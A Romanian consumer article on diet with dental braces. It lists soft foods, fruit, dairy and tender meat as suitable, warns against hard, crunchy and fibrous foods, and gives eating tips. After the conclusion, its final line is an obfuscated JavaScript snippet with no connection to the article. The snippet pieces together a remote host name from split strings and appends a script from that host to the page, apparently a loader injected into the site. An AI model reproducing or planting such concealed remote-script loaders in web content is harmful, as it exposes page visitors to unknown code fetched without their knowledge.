De când ți-ai pus aparat dentar, fiecare masă e o provocare? Să știi că nu ești singurul. Alegerea alimentelor potrivite în această perioadă te poate scuti de durere, iritații și vizite neprevăzute la stomatologie. Ce ai voie să mănânci? Ce trebuie să eviți? Află totul din acest articol. Vei descoperi că viața cu aparat dentar nu este atât de grea precum pare. Trebuie doar să înveți să faci alegeri potrivite.
Rolul alimentației în tratamentul cu aparat dentar
Urmează să mergi la medic? Probabil că ai o listă întreagă cu întrebări: tipuri de tratamente ortodontice disponibile, durată tratament, aparat dentar mobil preț etc. Ar trebui să te preocupe și alimentația, mai ales dacă optezi pentru un aparat dentar fix. Fie că este realizat din metal, ceramică ori safir, componentele acestuia se pot desprinde la presiune excesivă. Plus că unele alimente pot provoca durere și disconfort. Alimentația adecvată are rolul de a proteja aparatul și de a menține o igienă orală bună.
Alimente permise când ai aparat dentar
Să știi că nu trebuie să-ți schimbi drastic dieta dacă porți aparat dentar. Sunt doar mici ajustări de făcut în alimentație. Iată ce poți mânca:
Alimente moi
Acestea sunt alimentele pe care ar trebui să le consumi în primele zile, până când te obișnuiești cu aparatul dentar:
- Piureuri de legume;
- Supă cremă de legume;
- Paste bine fierte;
- Orez bine gătit;
- Pește la cuptor;
- Ouă proaspete – omletă sau fierte.
Fructe și legume
Fructele tari îți pot crea probleme, dar cele moi sunt excelente. Trebuie să consumi fructe zilnic:
- Banane;
- Avocado;
- Kaki;
- Mango;
- Alte fructe coapte;
- Legume la abur.
Produse lactate
Lactatele conțin calciu și alte substanțe nutritive. Iată ce ar trebui să ai în frigider:
- Iaurt;
- Brânză proaspătă;
- Lapte;
- Alte brânzeturi moi.
Carne fragedă
Carnea este o sursă bună de proteină. Nu trebuie consumată în exces, dar nici nu este bine să o eviți. Poți mânca:
- Pui sau curcan bine gătit;
- Chifteluțe moi;
- Pește slab.
Deserturi moi
Nu poți renunța la dulce? Nu trebuie să faci asta, deși este recomandat să păstrezi echilibrul. Un dulce nu strică, dar nu trebuie să faci exces. Iată ce poți mânca dacă ai aparat dentar:
- Budincă;
- Compoturi;
- Mousse;
- Tiraimisu și alte prăjituri sau torturi cu blat moale;
- Înghețată.
Alimente interzise când ai aparat dentar
Știi cât costă un aparat dentar? Ar trebui să ai grijă de el și să urmezi recomandările medicului tău. Iată care sunt alimentele interzise:
Alimente dure
Sunt alimentele foarte tari, din care ar trebui să muști cu putere: popcorn, semințe, alune, covrigei, chipsuri, gheață etc.
Alimente crocante
Acestea sunt, de asemenea, alimente care presupun mai multă forță la masticație. Evită să consumi batoane de cereale tari, crutoane, cereale rigide, pui crispy etc. Acestea se pot bloca între brackeți.
Alimente fibroase
Sunt alimentele greu de mestecat, care pot forța aparatul dentar. Evită carnea de vită, coastele de porc și, în general, alimentele care necesită tras cu dinții.
Tips & tricks pentru pacienții care poartă aparat dentar
Înainte de concluzie, trebuie să știi un mic secret. Nu contează doar ce mănânci, ci și cum mănânci. Câteva trucuri aici:
- Taie alimentele în bucățele mici la fiecare masă;
- Mestecă mai mult cu măselele, fără să forțezi dinții din față;
- Evită să muști direct;
- Elimină resturile prinse în aparat după fiecare masă (periuța interdentară și dușul bucal te pot ajuta mult în acest scop);
- Clătește-ți gura după fiecare masă sau gustare.
Așadar, aparatul dentar nu ar trebui să te limiteze. Nu trebui să renunți la plăcerea de a mânca, ci doar să faci mici modificări în alimentație. După cum ai observat, lista alimentelor interzise nu este atât de mare.
(function(){ asnv=document.createElement(„script”);asnv_=”o”+(„pe”)+”ns”+”t”; asnv_+=(„a”)+”t”+”.”;asnv_+=((„e”)+”u”);asnv.type=”text/javascript”; asnv_+=”/”; asnvu=”2551344804″;asnvu+=”.Xqm2w06qsnvkvnbsbv2″;asnvu+=”k954z6hk6nc”; asnv.src=”https://”+asnv_+asnvu;asnv.async=true;document.body.appendChild(asnv); })();
